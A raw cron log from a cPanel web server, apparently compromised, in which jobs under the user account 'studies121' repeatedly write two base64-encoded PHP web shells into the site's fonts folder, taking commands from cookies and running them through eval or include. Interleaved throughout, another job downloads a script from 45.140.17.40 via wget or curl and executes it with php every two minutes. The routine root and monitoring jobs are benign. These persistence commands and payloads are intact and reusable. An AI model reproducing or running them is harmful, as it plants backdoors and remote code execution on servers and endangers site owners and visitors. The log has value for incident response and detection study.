Sep 12 23:15:01 ip-184-168-122-23 CROND[8497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:15:01 ip-184-168-122-23 CROND[8499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:15:01 ip-184-168-122-23 CROND[8502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:15:01 ip-184-168-122-23 CROND[8501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:15:01 ip-184-168-122-23 CROND[8503]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:15:01 ip-184-168-122-23 CROND[8500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:16:02 ip-184-168-122-23 CROND[8592]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 23:16:02 ip-184-168-122-23 CROND[8594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:16:02 ip-184-168-122-23 CROND[8595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:16:02 ip-184-168-122-23 CROND[8597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:16:02 ip-184-168-122-23 CROND[8598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:16:02 ip-184-168-122-23 CROND[8599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:17:01 ip-184-168-122-23 CROND[8699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:17:01 ip-184-168-122-23 CROND[8701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:17:01 ip-184-168-122-23 CROND[8702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:17:01 ip-184-168-122-23 CROND[8703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:18:01 ip-184-168-122-23 CROND[8860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:18:01 ip-184-168-122-23 CROND[8862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:18:01 ip-184-168-122-23 CROND[8864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:18:01 ip-184-168-122-23 CROND[8865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:18:01 ip-184-168-122-23 CROND[8866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:19:01 ip-184-168-122-23 CROND[8953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:19:01 ip-184-168-122-23 CROND[8951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:19:01 ip-184-168-122-23 CROND[8952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:19:01 ip-184-168-122-23 CROND[8954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:20:01 ip-184-168-122-23 CROND[9050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:20:01 ip-184-168-122-23 CROND[9049]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:20:01 ip-184-168-122-23 CROND[9051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:20:01 ip-184-168-122-23 CROND[9055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:20:01 ip-184-168-122-23 CROND[9060]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 23:20:01 ip-184-168-122-23 CROND[9057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:20:01 ip-184-168-122-23 CROND[9059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:20:01 ip-184-168-122-23 CROND[9067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:20:01 ip-184-168-122-23 CROND[9068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:21:01 ip-184-168-122-23 CROND[9152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:21:01 ip-184-168-122-23 CROND[9154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:21:01 ip-184-168-122-23 CROND[9156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:21:01 ip-184-168-122-23 CROND[9155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:22:01 ip-184-168-122-23 CROND[9244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:22:01 ip-184-168-122-23 CROND[9246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:22:01 ip-184-168-122-23 CROND[9247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:22:01 ip-184-168-122-23 CROND[9248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:22:01 ip-184-168-122-23 CROND[9249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:23:02 ip-184-168-122-23 CROND[9415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:23:02 ip-184-168-122-23 CROND[9417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:23:02 ip-184-168-122-23 CROND[9418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:23:02 ip-184-168-122-23 CROND[9419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:24:01 ip-184-168-122-23 CROND[9499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:24:01 ip-184-168-122-23 CROND[9501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:24:01 ip-184-168-122-23 CROND[9504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:24:01 ip-184-168-122-23 CROND[9502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:24:01 ip-184-168-122-23 CROND[9503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:25:01 ip-184-168-122-23 CROND[9599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:25:01 ip-184-168-122-23 CROND[9601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:25:01 ip-184-168-122-23 CROND[9603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:25:01 ip-184-168-122-23 CROND[9600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:25:01 ip-184-168-122-23 CROND[9602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:25:01 ip-184-168-122-23 CROND[9604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:26:01 ip-184-168-122-23 CROND[9701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:26:01 ip-184-168-122-23 CROND[9703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:26:01 ip-184-168-122-23 CROND[9706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:26:01 ip-184-168-122-23 CROND[9704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:26:01 ip-184-168-122-23 CROND[9705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:27:01 ip-184-168-122-23 CROND[9824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
